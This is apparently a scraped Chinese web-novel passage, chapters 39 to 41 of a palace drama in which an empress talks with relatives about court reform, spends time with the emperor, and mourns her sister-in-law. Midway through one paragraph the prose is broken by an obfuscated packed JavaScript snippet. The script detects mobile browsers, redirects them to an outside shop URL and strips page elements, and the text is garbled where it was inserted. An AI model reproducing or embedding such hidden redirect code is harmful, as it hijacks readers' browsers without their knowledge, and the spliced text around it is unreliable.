师冉月也叫木莲将自己的芍药放在书案上,土陶瓶与她前些日刚换上的一套檀木笔具相配,恰似春日泥土的气息,可生万物。原本窗前还有一只小陶瓶里插着几枝雏菊,比起芍药更有野趣,但昨日被端木玦在屋子里飞木鸢打碎了。 今日端木玦也因此被送到太学的小书房由老先生看着背诗去了。 “今年上巳连着寒食,听说兰鹊池特意办了集会,只可惜你我在宫里不能去瞧一瞧。” “又不是未出阁的姑娘相看夫婿去,有什么好瞧的。”兰鹊池旁的马球会原本是京中贵人喜好的娱乐之地,不知从何时潜移默化成了相看场,甚至被老学究写到文章里骂。后来夫人们为显端庄持重,也不约而同规避了兰鹊池,如今便默认成未成亲的男男女女们明里暗里相看之处了。 “那有什么,要我说,宫里后山那么大的空地,光长草岂不可惜?也该叫人开辟成马球场来,然后我便在宫中主持上巳节集会,叫内眷和公子们都进宫来打马球、蹴鞠、捶丸、插花、点茶,不比那虚与委蛇的端午宫宴快活多了。”师冉月道,又恨恨地可惜:“如今不过两三日的功夫,今年这计划铁定是实现不了了。你且等着,明年我一定下旨举办,就算办不成,把那块地方开辟出来给皇子公主们打打马球、放放风筝也是好的。” 林绵手里捧着自己从宫中带来的毛尖,笑得无奈:“你这个做皇后的,带着皇子公主们胡闹,当心前朝非议。” “我如今是懒得管了,我处处小心的时候,晚上多吃了一碟点心他们也要说,简直不知道是从哪里知道的。我随意着来,他们反倒没有言语了,想必是根本说不过来所以懒得说了。” “非也非也,近来似乎前朝事忙,不知道是发生了什么,所以言官才没有功夫批评后宫琐事了。连城儿都被他父皇捉了去旁听。后日不是云和长公主就要进宫来了吗?到时候你问问她想必就知道了。” 师冉月眯眼瞧着林绵那一副事不关己瞎出主意的样子,好似村口那些拿一盘葵花子或是南瓜子磕着唠闲嗑的大妈大婶,眼神里只有她的茶和糕,仿佛现在问她刚才说了什么她都回答不上来。她扭过头暗自在心中边腹诽边叹气,忍不住想身为长公主和皇后又同时是姑嫂的两个人在宫中妄议朝政被人知道了会是什么结局,会不会比她直接下旨将沈案之任命为太子太保更严重些。 林绵却在一旁笑眯眯道:“怕什么,陛下还是很爱重你的。” 师冉月歪头看过来。 “一个月三十日陛下又不是每天都在后宫过夜,却还是逢五逢十都来坤宁殿,外邦进贡了什么宝物也是先可着坤宁殿,一到换季,时兴的绸缎布料流水一样的往这儿送,这可是孙才人把御花园的竹子都哭成湘妃竹也得不来的恩宠呢。” 师冉月只对后半句好奇:“孙才人......还有这等事?” “那是,还挑大晚上,被我嘱咐看着蔷薇花开没开的小内侍瞧见了,怪道后来陛下就不常去她阁中,装委屈也该挑个好时候好情形啊,她以为是湘妃还魂巫山云雨,结果是夜半惊魂鬼哭狼嚎。” 两人四目相对,不约而同“噗嗤”笑出声来。师冉月笑了一会儿,却道:“你也别这么促狭,人家年纪小,想争宠有什么错?不过是方法好笑些罢了。” 林绵摇摇扇子,道:“她既追随了徐昭仪,也不知道跟她学一学,真是......傻得可爱啊。” “你也别提,当初在京城时,你成日里听了烟水的话到处跟着陛下走,以为我们两个有什么,要离京了还巴巴地寻我说那一番话,哪里还有脸说人家?” “那你们那厢难道便当真什么也没有吗?哪家未出阁的女子成日里与外男私会,谁知道你们是不是当时就暗通款曲。” 合月在旁边听着,几次想插嘴却又不敢,几乎要无奈地捂脸哭出来了。音儿却笑着将她拉到一旁,道:“你怎么这么难为情?” “难道就让娘娘和贵妃娘娘继续说这些大逆不道的话吗?若是被人听见......” “这是什么大逆不道的话吗?何况事实不也是如此嘛,你们世子爷当年先迎了侧夫人进门,还私下里将我们姑娘捉去见面,我们师家没说他坏了姑娘的名声都算好的了。” 合月登时急了,拉着音儿走到外面道:“你别黑白不分啊!当初见面是我们世子一厢情愿吗?何况有影卫在外人怎会知道,我敢说连师太傅如今都不知道定亲前你们姑娘和世子见了几次罢?”话音还没落,却看见音儿已经是一副揶揄的表情看着她,“这不就是了嘛,有影卫在,谁就算想多说什么,能说的出口吗?” 送走了俞安乐,端木萌叹道:“我有那般凶神恶煞么?一个从前都没与我说过话的人会被我吓成这样。”方才俞安乐本来似是兴高采烈地来寻师冉月,却忘了今日是云和长公主进宫的日子,看见坤宁殿里与师冉月相对而坐的端木萌,登时吓了一跳,战战兢兢行了礼后就无比拘谨地坐在一旁,茶接到手里喝了没两口就借口更衣匆匆离开。 “还没叫她见过我长姊呢。”端木萌撇嘴,端木葭不比她吓人百倍?又叹道:“外人多敬我几分,不过是因为你这个皇后和阳曲侯的缘故。我又不是陛下的亲妹妹,否则单因为我这一个长公主的身份何至于此。” “怎么会?比起怀宁长公主大化政变的时候带着子女避居岳氏祖籍蒲阳,云和长公主却只身进宫以一己之力掣肘当时的太后何氏,戴孝元宗,白衣守宫,市井百姓也爱听这故事,对此拍手赞叹,他们又怎会是因为师家的缘故而敬畏你呢?” “你哪里知道这些说书的段子?”端木萌不知为何脸颊晕了些飞红,却又转瞬叹道:“不过这些也总有说书先生为了噱头夸大的成分,那故事讲的似乎没有我,史自兴便要篡权夺位改朝换代成功了一样,说到底这不过是事后茶客们爱听的,可当时震慑住史自兴的不还是陛下和安王等人带的军队,还有师家的私兵么。” 师冉月忙捂住端木萌的嘴。 “怕什么。”端木萌挣脱出来道,“陛下又不是不知道。” “哪里是怕陛下知道。这宫中人多眼杂,谁知道窗外的耳朵连的到底是哪里,是京中某个府邸,还是哪个州郡某位大人的书房,又或者是外邦藩属。你是自小在宫中长大的,怎么会这么不小心?” “我当时又不知道什么紧要的事,怕什么,就是有耳朵也犯不着在我的窗外。”端木萌左一个红豆酥右一碗荠菜圆子,心满意足道:“你的小厨房无论在哪儿总是最好吃的,别人都做不出这个味道来。” “那是本宫亲自尝试得来的配方,有价无市。” “唉,可惜了,家中现在都没有几个能坐下来好好吃饭的人。你三哥四哥成日里在外面忙得团团转,我和镜妤在家里也跟个陀螺似的,四弟妹照顾大嫂子还有孩子们,近日也瘦了好些。我进宫来反倒像是躲清闲了。”一年多来二人每每见面,总是逃不过说萧晨的病,却也总是那些一样的话,磨得人从一开始的提心吊胆变得有些习以为常。 “那焕哥儿可还好?” “好,都好。焕哥儿读书认真,颇有他父亲当年的风范。起初他担心大嫂,总是偷偷回去看她,却又被大嫂狠心骂回来,于是也就把自己关在书房里认真苦读了起来。我起初还担心安居堂那块又是祠堂又是各种树的太阴森,这孩子不得害怕?谁想到他竟能沉下心自己一人苦读。唉,我那两个小子要是能学学他们大哥一半就好了。” 师冉月抢走她手边又要拿起来的一碟乳酪,叫木莲收下去。端木萌皱眉,把茶端过来喝,道:“离午膳还有一会子,我填填肚子怎么了。” “一会子?一个时辰都不到了。”师冉月上手寻摸着掐了掐她的腰身,嘀咕道:“倒是不见你胖......不过你这么吃下去都可以算‘暴饮暴食’了,就算不胖,脾胃也受不了,那可比胖还吓人。” 行湘笑道:“娘娘不知,我们殿下在侯府也是这么个吃法,手上看着账本,或是盯着哥儿姐儿们温书,嘴里就停不下来。四夫人说这是焦虑所致,给开了调理的药来,但做事时吃东西却已经成了殿下的习惯了。” 师冉月摇头,叫行湘一定按张雁的嘱咐管好端木萌的饮食。端木萌身边原来从宫里跟着她出降的两个宫女尧儿和绵儿都和音儿前后出了嫁,之后也不再回来侍奉,她身边如今只一个二十出头的行湘是老人了,剩下的是两个十六七的小丫头,一个叫绮红,一个叫绮香,是在逢州时从家生子里选出来带在身边的。这两人分别跟着尧儿和绵儿,如今又跟着行湘,比起啼樱年龄小些,却是稳重利落多了,总叫师冉月玩笑着羡慕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226154|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “羡慕什么,啼樱再笨拙,你不也拿她当妹子养着好生嫁出去了。” “其实啼樱不过偶尔脑子转不过来,人又直率话多。祸从口出,若是在家中、在王府也就算了,在这宫里便不合适。” “是呢。子持上个月也遣出去几个书房的下人,怕的就是这个。如今侯府里的下人都是我过了眼的,却也怕有什么岔子。” “可是发生了什么?” “没有,只是以防万一。陛下派到市舶司的那个蒋节前些天叫人掺了一本,说他私交地方豪绅收受贿赂,这本不是什么事,甚至都不值得参上一本,陛下也当找茬罢了。只是叫人细思极恐的是那御史呈上去的折子里的证据却是蒋节与景大人私下的往来信件还有他们二人私下谈话,不知是谁手抄下来的。子持恐怕有鬼,特意派人去泉郡问了景大人,私底下仔细筛查了一番,竟是有人在蒋节书房里安插了眼线。” 说及此,师冉月忍不住道:“说起来变法等事近来如何?我听说似乎不大顺畅。” “何止是不大顺畅。去年秋冬各项政令拟定好,的确一一颁发下去了,可也就止步于颁发。就拿蒋节那市舶司来说,好容易景大人帮着打通好了各家关系,这边朝中又参上一本,便不敢轻举妄动。那边又没钱没兵,便没法贸然通航对外通商。民间是有不少愿意先行冒险开路的船夫和商人,但怕出意外影响更多,听说也是被蒋节先按了下来。北边与鞑靼互市一事更是麻烦,只是一轮一轮的在谈判。双方都不肯让利松口,又得拿捏着尺度免得交恶,如今似乎东北的女真人也想来掺和这事儿,负责谈判的使臣去了三四轮,都生怕自己一不小心就把脑袋掉在外头了。” “那地方上呢?” “地方上......其实说白了,就是一个收权。可是你想,负责推行此事的哪个是清清白白家徒四壁,只身一人就走到这位子上来的。好比收权收到逢州,那收的不就是师家。官氏那兄弟俩起初还颇热血,叫你三哥一点明,这些日子也对此事避而不谈。可以说此事比起市舶司还没有进展了。” 又道:“不过你如今当真一点前朝的事都不晓得了?” “后宫本就不该干政。”倒不是端木玄真的对她设防,甚至偶尔二人一同用膳或品茶时,他还会主动说起,只是师冉月自己懒得惹麻烦,于是端木玄肯说多少她就听多少,也只敷衍着回应一二,不再主动发表自己的看法了。 “今日他肯说,还要听你的看法,指不定明日又翻脸。我为何要趟这趟浑水。” 端木萌瞧她耷拉着眉眼恹恹的样子,心下暗叹,只道:“子持说你从小就喜欢听父兄说朝政,也爱自己分析,如此一来,岂不憋坏了你。” “我只是喜欢,况且彼时关起门来在家中有什么大不了的,哪似现在。既然不干政对我更有利,我便管好后宫就罢了。”又转而道:“你也小心着,你可又是皇亲又是外戚的,当心哪天也被参了。” 国朝素来君主大权在握、一手遮天,史自兴以前,还没有权力旁置到宦官或是外戚等手中的时候。武宗后来平衡朝政的手段有些过激,却也正是无人能质疑他绝对的权力的缘故。因此对外戚并不大设限,有能力的外戚也可任职高官。 原本依着武宗后期的做派,这种格外的“宽宥”大概要停止了,尤其史自兴上台也有一半“外戚”的因素,若是紧接着换一个君主上位,怎么也该顺势抑制外戚,启用新人。 不过,平了大化政变而上位的,是端木玄。 端木萌总是对这些满不在乎的样子,好似昭献皇后还稳坐中宫的光景。这会儿她也没注意到师冉月忽悠一下子又陷在她自己的深井里,抱着跑过来叫她姑母的端木玦逗着。又道:“陛下如今有二子一女了,近来那些侍寝的新人里,可有人有什么信儿么?” “没。”师冉月晃过神来,“玦儿,别缠着你姑母抱了,你都多大多沉了。” “无妨,我抱过五......四个孩子长大,比你可有经验。棠欢和玦儿一般大,倒比玦儿还胖乎些,脸上全是肉,跟个肉包子一样。” “玦儿成日里跟着他兄长跑来跑去,想胖也胖不起来。不过我与陛下商议着,今年夏天便叫他正式跟着三哥和沈先生念书去。大皇子也快到出宫立府的年纪了,日后他们兄弟俩想玩也难,所以近来便放任着他们胡闹些。” “大皇子已经到了立府的年纪了么......算起来真是。”端木萌瞪眼掰着指头算道,“一恍竟这么久了,自出了京城到回来,我总觉得似是没过多久一样。” “是啊,京城倒是没什么变化。”师冉月附和着,却暗叹若是自己能像还在家中那般随意到外面四处转转,定能发现许多不同,也不必困在这方寸之地凭着子女的岁数感慨岁月流逝了。近日里她算着进宫也快两年了,就觉得憋屈无法言说,整个人都没劲儿。她又怕极了这种“没劲”,好像再一不注意就要完全溺毙在不见天日的水草错杂缠绕泥沙涌动的湖底了,于是拼命往上挣扎,哪怕亲手把茉莉蜜茶一一配好,也比倚在榻上迷蒙地过一整天要好。 端木萌招呼合月叫她领走端木玦——她如今是专门负责端木玦的起居了。啼樱出宫后,师冉月身旁又离不开音儿,便也只有合月是自小看着他长大的了。 确定端木玦不会“坏事”,端木萌走到师冉月面前,抿着嘴儿捏着手帕的两个角儿,悄声把手帕扔在她脸上。 “你做什么!别跑啊——” “我哪里跑了。你今日是怎么了,总是愣神。” “哪里......差不多到时辰了,快去净手准备用膳罢。” 40. 第 40 章 四月里的天忽一会儿热忽一会儿凉。 天边一弯月亮孤零零的挂着,周遭的星子没什么光彩,天又黑得干净,更显得月亮孤单,像是一把被随意丢弃在荒废的田野里的镰刀。 近黛一袭改过的像是舞裙般的紫蓝色衣裙,裙摆随着脚步涟漪般绕在脚腕间,婷婷袅袅,像是盛开的晚香玉。 她一个人来,手里挑着个有些暗的宫灯,伴着她的步子也一摇一摇的,一时间竟叫坐在院子里吃馄饨看月亮的师冉月觉得不知道走过来的是人还是志怪集里头魅惑人心的美艳女妖了。 “娘娘万安。娘娘怎么在这里坐着,当心着凉。” 师冉月直起腰身,把馄饨碗放在一旁的藤桌上,微微咧开嘴笑得像是烤栗子裂开的一点缝,问道:“你怎么来我这儿了?” “娘娘忘了,今日是初五。” 逢五逢十,端木玄按例要在皇后处留宿,近黛也雷打不动的过来走一趟。 “哦。”师冉月恍然。她倒是忘了这事儿了,不过也没什么打紧的,只叫木莲和春桃去准备着,又对近黛柔柔笑道:“若是没有别的事要忙,不妨坐下来吃盏茶。” “坤宁殿里的饮食都是极好的,可惜我今日没这个福气了。”近黛勾唇道,随后微微俯身行了一礼,便转身告辞。音儿端着一碗消食茶走过来递给师冉月,看着身后因为要忙着迎接端木玄而重新闹腾起来的大殿叹了口气。吴怀安也叹道:“是奴才们失职,竟无一人想到今日该是陛下过来的日子了。” “不是你们的错。”师冉月仰头一口灌完了一碗茶,起身在院子里来回散步,道:“就是逢五逢十,陛下也不一定来,或是留宿清和殿忙政务,或是歇在别的阁里,也不是没有过的事,我们犯不着为此大动干戈。”说完就继续自在地来回走着消食,心下还留恋着那碗馄饨的味道,并衷心希望刚才的近黛只是自己不小心睡着了做梦,梦中恍惚出现的某个仙人或是女妖,并没有实在地过来告诉她这个噩耗。 当然那是不可能的。师冉月堪堪消化完食回到殿内的功夫,端木玄就踏进了院门。 师冉月回身行礼道:“好巧啊陛下。” “巧什么,近黛不是刚刚过来了。”他看见院中的藤椅藤桌,虽然碗筷等已经收走,然而想都想得出来师冉月大概是刚刚吃碗一碗热乎乎的汤面或是馄饨。“怎么,我打搅你的雅兴了?” 师冉月松了松眉眼,道:“算是吧。” 音儿带着人退了下去,阖上殿门。师冉月便也自顾自走在端木玄前头,绕到屏风后,道:“我还未更衣,陛下自己坐会儿吧。” “一口一个‘陛下’,自己却不称‘臣妾’,这里就你我,你也不嫌别扭。” “那我叫你什么,‘夫君’?也不年轻了,你也不嫌肉麻。” “云和不是就经常叫师太傅的字吗。你又不是没叫过。” “哦。由许。”师冉月换好衣裳,从屏风后探出头道:“你可满意了?”说着走出来到梳妆台前坐好,准备一一卸下钗环,她今日一天都呆在自己宫里,只做寻常打扮,两对玉钗挽住头发,十分好拆卸,也用不着人帮忙。正要动手,却听得坐在后面自己给自己倒了碗茶喝的端木玄揶揄笑道:“满意了,容琯。” 师冉月闻声身躯一颤,忍住翻白眼的冲动,只装作没听见。 端木玄却起身走到她身边,弯下腰身替她摘耳上的玉铛。呼吸打在她的颈侧,下意识一躲,却被他揽着肩定住,轻声道:“别躲,要出血了。” 师冉月却抬手利落的摘掉了另一边,道:“没有你就不会出血。” 端木玄站在一旁等她收拾完,二人便一起亲自熄了一路的灯,双双躺倒在榻上。师冉月道:“我以为你会有什么事要跟我说。” “说什么?” “后宫,比如你想晋谁的位分。”又睁眼正色道:“说来你若是想晋去年新入宫的才人们的位分,不如先把徐昭仪至少升到妃位,她到底是王府旧人,又给你生了女儿。” 端木玄吻着她的眼睛叫她重新闭上,气声道:“再说罢。专心。” 师冉月叹息着喘气,却也不再说话。 良久,传水的宫人退了下去,师冉月睁眼望着隐没在漆黑中的床幔的缧丝花纹,被端木玄拥入怀中,道:“怎么还不睡?” “睡不着了。” “不累吗?” 师冉月没有回话。过了一会儿,她转了转身,闭上眼睛,把头枕在端木玄肩上道:“由许......” “什么?”端木玄已经快要睡着,几乎是没过大脑从喉咙里挤出的呢喃。 “我们接下来就要在这宫里吗,一辈子?” 端木玄睁了睁眼睛,借着月光,看见师冉月面庞平静,也是一副要睡着的模样,便又阖上双眼,道:“再说。” 次日早上,师冉月睁眼时瞧见大亮的天光,对于没有人叫自己起床十分震惊,从床上下来瞧见端木玄散着头发悠哉地吃着早膳更加震惊。 “你不用去上朝?” “我昨日下旨,恢复穆宗前期每十日休沐一日的政令,今日便是头一次休沐日。” 师冉月瞪眼,“你不是要改革要大展宏图,现下却先休沐上了?” “劳逸结合才是真。” 师冉月无话可说,自己洗漱收拾,又忍不住道:“坤宁殿的宫人不会也都被你‘休沐’了罢?” “我叫他们没事不必进来打扰。音儿和合月她们带着玦儿去画院玩了。”一边说着,一边撂下筷子,走到师冉月身后按着她的指挥帮她挽起头发。师冉月的头发打小就是人人称羡的又厚又黑,生了端木玦之后身体亏损,头发一掉就是一大把,看上去几近少了一半,不过这两年又渐渐养了回来,因此单凭她一人实在是完不成自己梳头的壮举,只能容忍端木玄笨手笨脚的操作,折腾了半天,总算是盘出了个单髻,师冉月连忙把他的手从自己头上扒拉走,开始从妆匣里挑选发饰。 端木玄也不闲着,对她选出来的簪子指指点点:“成天戴这几个,不是白的就是青的,我成日里叫人给你送来那么多玩意儿都去哪儿了?那些走的又不是国库,是我叫烟水打理的原先的私账,不用省着。” 师冉月抬头看他,目光警惕,试探道:“那些是烟水选的?” “不是啊,是我选的。” 师冉月松了口气:“我说呢......烟水的眼光应该没有那么差。” “什么意思?” “不是金的就是各种五颜六色的宝石,还有点翠的珐琅的,戴上去像是西域的舞女或是大食的那种挂毯。” 端木玄却从她的妆匣里调出几朵粉玉珠花插在她的发间,道:“那怎么了,你还年轻,又是皇后,成日里戴这些素净的东西做什么,不知道的还以为你在守寡。” 师冉月“嘶”一声,道:“你怎么年纪越大话越多了?瞎说什么。赶快去继续吃你的去,我自己弄。”说着三下五除二匀面上妆,最后还是按着那几朵珠花的颜色,选了两只镶着同色宝石的金步摇和玉铛,随即净了手,也坐到桌前开始用膳。 宫人早已在外候着,等她甫一坐好,便又重新上了一批热腾腾的她喜欢的菜色,又齐刷刷退了下去。 端木玄已经快要吃完,此时不紧不慢地吃着山药糕,倒更像是纯粹在陪着师冉月。师冉月自己饿了,也不顾什么形象,像是坐在逢州家门口巷子的铺子里的长条木凳上一样,三下五除二就解决了一碗花胶鸡肉粥,接着夹起一个被端木玄提前开了一点口晾好的灌汤包,味蕾得到满足,五官也跟着舒展开,嘴一直在咀嚼,而眉眼都染上笑意。 端木玄戏谑般轻笑道:“这么能吃,不会又有了吧。” 师冉月愣住,咽下口中的食物,旋即皱眉道:“我每日都吃这么多。”又道:“你若是吃完了,就赶紧去处理前朝政务,别赖在我宫里,替那些言官省省笔墨和唾沫。” 端木玄却道:“没什么事可做。”在对面人疑惑的目光中,他继续道:“因为什么事都做不了。” 他这话说的像是“今天的山药糕糖加的不够”一样。 师冉月了然般继续低头吃自己的灌汤包。 端木玄仍旧望着她,神情平静的像是一张新铺开的宣纸,洁白柔软,好似只是在欣赏她进食一样,就像他曾评价的那样:“像不会往双颊储存食物的仓鼠”。 师冉月就这样在他的目光注视下神态自若地吃完了自己的早膳,待宫人鱼贯而入又鱼贯而出后,端木玄似是才从某个世界抽离,眼神轻轻落到师冉月的瞳孔中,道:“真叫你当初说中了。” 师冉月不语。她大概知道他指的是哪天她说的话,但是那一天她具体说了什么其实她已经记不太清了。于是她也只是笑笑:“你也没有做错什么。若是早生几十年,也许一切就好了。” “早生几十年——那也不会有这种事落到我头上了。” 过了一会儿,他又继续道:“那天安谈和上了折子,请求告老还乡,其间种种,不乏批评我冒进妄为。孙式后来请求赐对,话里话外批评我任人唯亲,尤其在任师霖为太傅一事上不满。” “安尚书和孙尚书都是朝中的老人了。我三哥的确年轻,这样的年纪任太子太傅,又兼着国舅和驸马的身份,其实......确实不太妥当。” “讨伐史氏时,师霖功不可没。” “但是他之所以有功,是因为我家的私兵,这是不能宣之于口的。原先这样的事还可以说是大家默认的,但是武宗后期已经把有私兵的人家清算的差不多了,朝中换水,许多人自然不晓得这种秘辛。” “呵。你倒是敢说,这时候就不怕隔墙有耳了?” 师冉月一副“你看我就说,耳朵就是你”的样子看着他。端木玄却未多理会,接着道:“朝中没有可用之人。” “只是不能为你所用罢了。”师冉月道,“如今在朝为官的也不止是像我三哥四哥还有官氏兄弟这样的年轻而靠荫封入仕之人,也有科举上来的年龄相仿的新人,四五十岁的中流砥柱,还有像安老这样历经风雨的几朝老臣。人多的是,有才干的也不少,就好比官尚书,虽也年轻,但礼部诸事一时半会儿应该找不到比他更精通的了。再比如工部侍郎宋亭,自为官以来参与负责治理了四次黄河决口,武宗和元宗的皇陵也是他负责设计修建的。比起孙尚书他倒还年轻近十岁,但除了工部尚书刘晦,谁又能替代他呢?就连孙尚书本人,虽然他有些倚老卖老,说起话来胡 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“无妨。”意外的听到应声而来的答复,师冉月倒是微微愣了神。上一次她这般“大肆评议”后的诡异的沉默像是不约而同的冷战,两个人之间其余的事都好似正常,但却对事情的根源都避而不谈。凡是能见到他们二人的都知道帝后之间出了岔子,却又愣是不知道问题出在哪里。 也许他们两个自己也不太清楚。 没有人想打破这种别扭的平衡。 时间会解决一切,仅此而已。 她不想主动做出些什么,像林绵或者端木萌曾说过的“主动”,或是干脆像戏折子里那些披着某个男人的某种理想或寄托而完全违背常理奔赴所谓爱情的女子那样。她又深知自己和眼前这个人是个什么德性——认识十三载,成婚近十年,再不知道那这辈子就不会知道了。所以即使端木玄说“无妨”,她也已经准备好迎接新的一轮拧巴的“半冷战”。 她倒是很擅长这个。 端木玄却看着她,突然笑道:“你在想什么弯弯绕绕的。”说罢拉着她的手叫她坐下,接着道:“这些事先放一放,不急于一时。今年端午宫宴,我打算请各地藩王进京共同赴宴,其余的事照例由你全权操办,若是有需要,可以找近黛。” 师冉月心下明了,轻叹一声点头应下,却又奇道:“为何是找近黛,烟水呢?” 近黛的名字不在宫中名册上,只是像一个影子,或者一层屏障,时时伴在端木玄身边为他效力。旁人大多因为她时常在清和殿,又偶尔替端木玄在宫中传话,便当她是清和殿的宫女罢了。比起她,烟水却是实实在在领了清和殿掌事宫女的身份。 “她最近有别的事忙。” 闻言,师冉月便也不再多问。 偷得一个上午的清闲,端木玄终究还是要回到清和殿的书案前面对那些还未批阅的折子。他刚登基时不大明白为何太祖皇帝会将寝宫、书房和赐对朝臣的地方都设在清和殿,如今想来大概做皇帝的宿命就是如此。方寸间观天下、治天下,天下也仅在方寸间。 空气中隐隐有些潮湿的味道,天也灰突突的。师冉月送他到坤宁殿门口,道:“恐怕又要下雨了,还是快些走吧,免得麻烦他们。” 端木玄点点头,接过师冉月“施舍”他的山药糕和蜜茶,转身离开坤宁殿,像离开老天爷给他特赦的桃花源。 目送着那长长的队伍像摇曳的长尾巴鱼游走,音儿从一旁凑过来,浅笑着向师冉月道:“陛下和娘娘这两日倒像是寻常人家的小夫妻呢。” “多寻常?像你和成和那样吗。” 音儿红了脸,却认真思考道:“嗯......反正比侯爷和长公主还寻常些罢。” “啧,不说别的,就是‘小夫妻’这个‘小’字就已经完全不适配了。”师冉月想起自己眼角长出的细微的纹路,心头登时下起了杂乱的冷雨。转身回到殿中,看着“消失的”宫人重新活跃在殿内各处收拾他们俩弄出来的乱摊子,走到书案前把昨日午后没临完的米芾字帖扔给音儿:“米芾这字太难写了,还是给我换几本王羲之的罢。”又摊开一张崭新的宣纸,坐下一边思考着端午宫宴的事,一边“刷刷刷”快速写了起来。 音儿从旁瞄了一眼,把墨备好,便在一旁小桌上点茶。 师冉月写这种安排策划之类的东西向来条理清晰面面俱到,但字迹会越写越乱,直到最后如同天书,若是之后还有功夫呢,她也许会有心情再好好誊抄一遍;若是没有那这份“天书”就会直接交到合月手里。起初在王府时合月完全依赖音儿辨认她的字迹,但是过了个把个月就已然完全“出师”了。 木莲捧来一瓶刚刚和春桃一起插好的花,轻轻放到师冉月身后的一支檀木花架上,春桃跟在她身后拿来一个巴掌大的小陶瓶,里面插着几枝重瓣棣棠,放在了师冉月书案的桌角。 过了半个时辰,师冉月大手一挥,满意地看着面前写得满满当当的纸,叫来合月道:“今年端午宫宴不比往常,除了京中重臣及命妇,还要请安王、燕王和齐王进京赴宴。事不宜迟,一会儿你便先走一趟礼部传我的旨意,请安大人草拟请帖,选吉日送到各州王府。从今日到宫宴结束,你便不用照看太子了,专心此事便可。” “是。” 41. 第 41 章 复景二年四月末,正值暮春,与落花一同消逝的还有萧晨的生命。 自承祐三年从应郡望族萧氏古朴庄严的宅邸里嫁到京城的阳曲侯府,起初青涩拘谨,强撑场面,到后来应对自如人人称赞,成为后宅夫人的模范,好似也只是弹指之间的事。 如今刚好二十年过去。三十七岁,她才结束了做孙媳、儿媳、妻子、长嫂、母亲的一生,得以歇息。 众人一一祭拜过后,灵前便只剩师焕单薄的身影。 按着萧晨的遗言,不设路引,亦拒绝各家前来吊唁,于是挂着白绢的阳曲侯府大门紧闭,偌大的庭院像是早有预谋的屏障,外面的议论和里面的哭声各自飘散聚拢,两不相干。 几个年幼的孩子还未经历过亲人离世,面对骤然变得黑白的庭院天然地惧怕,杂乱的哭叫和乳母压低声音的哄劝糅杂在一块,井然有序下的混乱却已经叫人见怪不怪。 “娘亲......”师棠欢紧贴着端木萌站着,她被这笼罩着哽咽和抽泣的压抑氛围骇的有些喘不过气,双手揪着母亲的手,刚要说什么,却被身后站着的师婷欢捂住了嘴。 端木萌没有出声,微微侧身摸了摸小女儿的头,而后眼神示意长女带着弟弟妹妹们先到别处去。师婷欢懂事地点头,牵着棠欢还有旁边有些要打瞌睡的五妹妹幼桐的手往后院念栀堂走去。 其余几个年纪稍长的孩子都只沉默地红着眼眶,规规矩矩立在一旁。莞安素来情绪外放些,思及大伯母素日来温柔体贴的种种,尤其是师穆才去世的几个月里,端木婉异样的消沉避世,端木萌虽有心但毕竟精力有限,且时不时就会不经意间忍不住不耐烦地冲孩子们发火,而萧晨便像是常青的松树,坚定、温柔、敦厚,甚至即使她卧病在床的时间里,似乎在树下栖息寻求庇护的这些稚嫩的花草和小兽也从未设想过这棵树真正倒塌的那一天。 莞安的泪水落在景安肩头,也潮湿了景安的眼眶。她看着婷欢带着两个最小的妹妹离开灵棚,没了棠欢不受管控在人群间走来绕去的身影,使得一向擅长忍耐的景安也觉得窒息。她没有搭理越哭越伤心的妹妹,看了看站在斜前方的母亲,昏暗的烛光照不清她脸上的情绪,但她想母亲也不会喜欢这样的氛围——一切都像极了父亲去世的那一日的重现。 师迟、师玘、师言还有师琦兄弟四人都依次序陪大哥师焕跪着。 没有人好似都在自发地陪着师焕守灵,情绪各异,却也没人提出离开。良久,刻意压低了声响的急促的步子凑近,一个前院的侍卫从侧面进来同师霖低声说了些什么,师霖沉默僵硬的面孔动了动,沉声道:“宫里来了人宣旨。”端木萌忙叫行湘去后院将婷欢等叫回来。三个孩子才匆匆赶回来的功夫,宣旨太监刺着金绣的衣角已经进了灵棚,师霖定睛一看,竟是坤宁殿的掌事太监吴怀安,忙扶着师焕的肩将他推上前,同时领着众人跪拜接旨。 师婷欢跟着跪下来时,仍止不住气喘吁吁。她方才听得有人来宣旨,嫌弃两个妹妹走得慢,怕误事,身边又只跟了一个嬷嬷,便将幼桐交给嬷嬷,自己抱着棠欢小步跑回祠堂旁的灵棚,此时气儿还未喘匀,也只好低着头小口小口换气掩饰。 不过跪下来前,她已识得来传旨的太监是姑母宫中的吴怀安,心下便有了数。果不其然,前面大段都是套话,用以表达哀思抚恤,不寻常的也就是旨意最后追封大伯母萧晨为郑国夫人。这种并非是某某侯夫人的诰命本朝并不多见,偶尔为了表彰某位女子贤德,也都是封一些吉祥的字眼,而依国朝律例,“某国夫人”这样的诰命是有食邑的,虽然很少,但也能凸显尊荣厚待。 而萧晨如今寡居,唯一的儿子又还没有取得功名,能有这样的追封实在是看着师冉月的面子了。 虽说师婷欢一向觉得死后一切皆是空名,不过她也懂得这也是姑母被束缚在皇后的位子上,能为长嫂聊表哀思所做的最多的事了。 师焕叩谢皇恩,接过圣旨,又道:“臣多谢皇后娘娘。还请吴公公代我宽慰姑姑,有劳公公跑这一趟,请公公留下来吃盏茶。” 吴怀安瞟了一眼一旁的师霖,拱手道:“多谢大公子。皇后娘娘听说夫人辞世,悲痛不能自已,却碍于宫规不能出宫,只好叫奴才代为探视,请侯爷、夫人和公子姑娘们节哀。” 师霖拍了拍师焕的肩,上前半步道:“臣等一切都好,请代为转告娘娘莫要太过悲伤,振作精神,办好端午宫宴等事,才好告慰长嫂在天之灵。长嫂辞世前亦有遗言,请娘娘莫要为了她大张旗鼓,丧仪等事皆一切从简。” “郑国夫人贤德,实乃妇孺典范。” 吴怀安又问候了岳诗韫,与师骁、端木萌等客套了两句,便告辞离开。身后跟着的十几个小太监默默抬进来好些檀木箱子,为首的自端木萌处领了赏赐,又低着头一溜烟儿走了。 